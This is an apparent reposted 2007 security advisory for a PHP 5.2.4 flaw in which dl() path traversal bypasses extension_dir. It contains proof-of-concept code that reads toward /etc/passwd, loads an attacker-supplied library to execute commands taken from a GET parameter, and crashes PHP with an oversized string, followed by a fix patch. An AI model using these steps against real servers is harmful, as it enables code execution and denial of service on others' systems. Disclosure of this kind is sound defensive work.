PHP 5.2.4 <= dl() extension_dir bypass&code exec&dos

2007.09.12
Risk: Medium
Local: Yes
Remote: No
CWE: CWE-22


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

Application: PHP <=5.2.4 Web Site: http://php.net Platform: unix Bug: extension_dir bypass & code exec & denial of service special condition: default php-memory-limit ------------------------------------------------------- 1) Introduction 2) Bug 3) Proof of concept 4) Greets 5) Credits =========== 1) Introduction =========== "PHP is a widely-used general-purpose scripting language that is especially suited for Web development and can be embedded into HTML." ====== 2) Bug ====== extension_dir bypass & code exec & denial of service http://ca.php.net/manual/fr/function.dl.php ===== 3)Proof of concept ===== /* debian:~# php -v PHP 5.2.4 (cli) (built: Aug 31 2007 16:39:15) Copyright (c) 1997-2007 The PHP Group Zend Engine v2.2.0, Copyright (c) 1998-2007 Zend Technologies */ Proof of concept example : /*enable by default in php.ini for php 5.2.x */ <?php dl("../../../../../../../../../../../../../../etc/passwd") output ---> Warning: dl() [function.dl]: Unable to load dynamic library './../../../../../../../../../etc/passwd' - ./../../../../../../../../../etc/passwd: invalid ELF header in /usr/local/apache2/htdocs/3.php on line 2 ya right ... /etc/passwd dont have any ELF header . but we agree that it's not checked in anyway by open_basedir. fine then bypassed . then : <?php dl("./../../../../../../../../../../../home/myuser/www//my_powning_lib/pwned.so"); $a = powningfunction($_GET['lets_exec']); print_r($a); ?> denial of service : debian:/home/mwoa# php -r'dl(str_repeat("0",27999991));' Erreur de segmentation debian:/home/lorenzo# ======== 4)Greets ======== Ivanlef0u,Deimos,Benji,Berga,Soh,and everyones from worldnet: #futurezone & #nibbles ===== 5)Credits ===== laurent gaffi laurent.gaffi@gmail.com =============== SecurityReason Note =============== This patch seems to fix the issue: Index: dl.c - Added =================================================================== if(type == MODULE_TEMPORARY) { if(strchr(Z_STRVAL_P(file), '/') != NULL || strchr(Z_STRVAL_P(file), DEFAULT_SLASH) != NULL) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Temporary module name should contain only filename"); RETURN_FALSE; } } Patch also available on : http://cvs.php.net/viewvc.cgi/php-src/ext/standard/dl.c?r1=1.106.2.1.2.2&r2=1.106.2.1.2.3 Patch provided by Stanislav Malyshev, Zend Software Architect


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019, cxsecurity.com

 

Back to Top